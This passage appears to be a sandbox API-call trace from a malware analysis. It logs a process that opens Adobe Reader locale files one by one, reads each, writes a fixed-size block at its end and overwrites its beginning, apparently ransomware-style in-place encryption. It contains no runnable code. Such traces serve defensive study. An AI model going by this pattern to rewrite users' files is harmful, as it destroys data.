lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0038.390] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.390] ReleaseMutex (hMutex=0x128) returned 1 [0038.390] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.ESP", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.390] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.ESP", cchWideChar=12, lpMultiByteStr=0x1e6342c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.ESP", lpUsedDefaultChar=0x0) returned 12 [0038.390] ReadFile (in: hFile=0x168, lpBuffer=0x1dae208, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesRead=0x318f278*=0x4000, lpOverlapped=0x0) returned 1 [0038.392] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x1ec00 [0038.392] ReadFile (in: hFile=0x168, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.392] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x1ec00 [0038.392] WriteFile (in: hFile=0x168, lpBuffer=0x1db0238*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1db0238*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.393] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0038.393] WriteFile (in: hFile=0x168, lpBuffer=0x1dae208*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesWritten=0x318f28c*=0x4000, lpOverlapped=0x0) returned 1 [0038.393] CloseHandle (hObject=0x168) returned 1 [0038.393] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\RdLang32.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\rdlang32.esp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0038.394] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0038.394] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x156a00 [0038.394] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0038.394] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.394] ReleaseMutex (hMutex=0x128) returned 1 [0038.394] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.ESP", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.394] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.ESP", cchWideChar=12, lpMultiByteStr=0x1e6316c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.ESP", lpUsedDefaultChar=0x0) returned 12 [0038.394] ReadFile (in: hFile=0x168, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x318f278*=0xf000, lpOverlapped=0x0) returned 1 [0038.396] ReadFile (in: hFile=0x168, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.397] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x155a00 [0038.397] ReadFile (in: hFile=0x168, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.399] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x155a00 [0038.400] WriteFile (in: hFile=0x168, lpBuffer=0x25ca738*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.400] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0038.400] WriteFile (in: hFile=0x168, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x318f28c*=0xf000, lpOverlapped=0x0) returned 1 [0038.400] WriteFile (in: hFile=0x168, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0038.400] CloseHandle (hObject=0x168) returned 1 [0038.400] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Weblink.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\weblink.esp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0038.400] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0038.400] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x6e00 [0038.401] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0038.401] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.401] ReleaseMutex (hMutex=0x128) returned 1 [0038.401] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.ESP", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.401] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.ESP", cchWideChar=11, lpMultiByteStr=0x1e6302c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.ESP", lpUsedDefaultChar=0x0) returned 11 [0038.401] ReadFile (in: hFile=0x168, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.402] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x5e00 [0038.403] ReadFile (in: hFile=0x168, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.403] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x5e00 [0038.403] WriteFile (in: hFile=0x168, lpBuffer=0x1db0238*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1db0238*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.403] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0038.403] WriteFile (in: hFile=0x168, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0038.403] CloseHandle (hObject=0x168) returned 1 [0038.403] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\EScript.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\escript.euq"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0038.404] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0038.404] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x9e00 [0038.404] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0038.404] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.404] ReleaseMutex (hMutex=0x128) returned 1 [0038.404] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.EUQ", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.404] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.EUQ", cchWideChar=11, lpMultiByteStr=0x1e6316c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.EUQ", lpUsedDefaultChar=0x0) returned 11 [0038.404] ReadFile (in: hFile=0x168, lpBuffer=0x1dae208, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesRead=0x318f278*=0x4000, lpOverlapped=0x0) returned 1 [0038.406] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x8e00 [0038.406] ReadFile (in: hFile=0x168, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.406] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x8e00 [0038.406] WriteFile (in: hFile=0x168, lpBuffer=0x1db0238*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1db0238*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.407] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0038.407] WriteFile (in: hFile=0x168, lpBuffer=0x1dae208*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesWritten=0x318f28c*=0x4000, lpOverlapped=0x0) returned 1 [0038.407] CloseHandle (hObject=0x168) returned 1 [0038.407] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Search.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\search.euq"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0038.407] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0038.407] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x5e00 [0038.407] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0038.408] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.408] ReleaseMutex (hMutex=0x128) returned 1 [0038.408] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.EUQ", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.408] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.EUQ", cchWideChar=10, lpMultiByteStr=0x1e6312c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.EUQ", lpUsedDefaultChar=0x0) returned 10 [0038.408] ReadFile (in: hFile=0x168, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.409] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x4e00 [0038.409] ReadFile (in: hFile=0x168, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.410] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x4e00 [0038.410] WriteFile (in: hFile=0x168, lpBuffer=0x1db0238*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1db0238*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.410] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0038.410] WriteFile (in: hFile=0x168, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0038.410] CloseHandle (hObject=0x168) returned 1 [0038.410] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Annots.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\annots.suo"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0038.411] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0038.411] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x77800 [0038.411] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0038.411] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.411] ReleaseMutex (hMutex=0x128) returned 1 [0038.411] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.SUO", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.411] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.SUO", cchWideChar=10, lpMultiByteStr=0x1e6316c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.SUO", lpUsedDefaultChar=0x0) returned 10 [0038.411] ReadFile (in: hFile=0x168, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x318f278*=0x8000, lpOverlapped=0x0) returned 1 [0038.413] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x76800 [0038.413] ReadFile (in: hFile=0x168, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.415] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x76800 [0038.415] WriteFile (in: hFile=0x168, lpBuffer=0x1deef48*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1deef48*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.415] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0038.415] WriteFile (in: hFile=0x168, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x318f28c*=0x8000, lpOverlapped=0x0) returned 1 [0038.415] CloseHandle (hObject=0x168) returned 1 [0038.415] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\pddom.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\pddom.suo"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0038.416] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0038.416] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x2c00 [0038.416] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0038.416] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.416] ReleaseMutex (hMutex=0x128) returned 1 [0038.416] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.SUO", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0038.416] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.SUO", cchWideChar=9, lpMultiByteStr=0x1e6312c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.SUO", lpUsedDefaultChar=0x0) returned 9 [0038.416] ReadFile (in: hFile=0x168, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.418] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x1c00 [0038.418] ReadFile (in: hFile=0x168, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.418] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x1c00 [0038.418] WriteFile (in: hFile=0x168, lpBuffer=0x1db0238*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1db0238*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.419] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0038.419] WriteFile (in: hFile=0x168, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0038.419] CloseHandle (hObject=0x168) returned 1 [0038.419] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Spelling.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\spelling.suo"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0038.420] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0038.420] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x2a00 [0038.420] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0038.420] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.420] ReleaseMutex (hMutex=0x128) returned 1 [0038.420] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.SUO", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.420] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.SUO", cchWideChar=12, lpMultiByteStr=0x1e6316c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.SUO", lpUsedDefaultChar=0x0) returned 12 [0038.420] ReadFile (in: hFile=0x168, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.423] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x1a00 [0038.423] ReadFile (in: hFile=0x168, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.423] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x1a00 [0038.423] WriteFile (in: hFile=0x168, lpBuffer=0x25ca738*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.423] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0038.423] WriteFile (in: hFile=0x168, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, 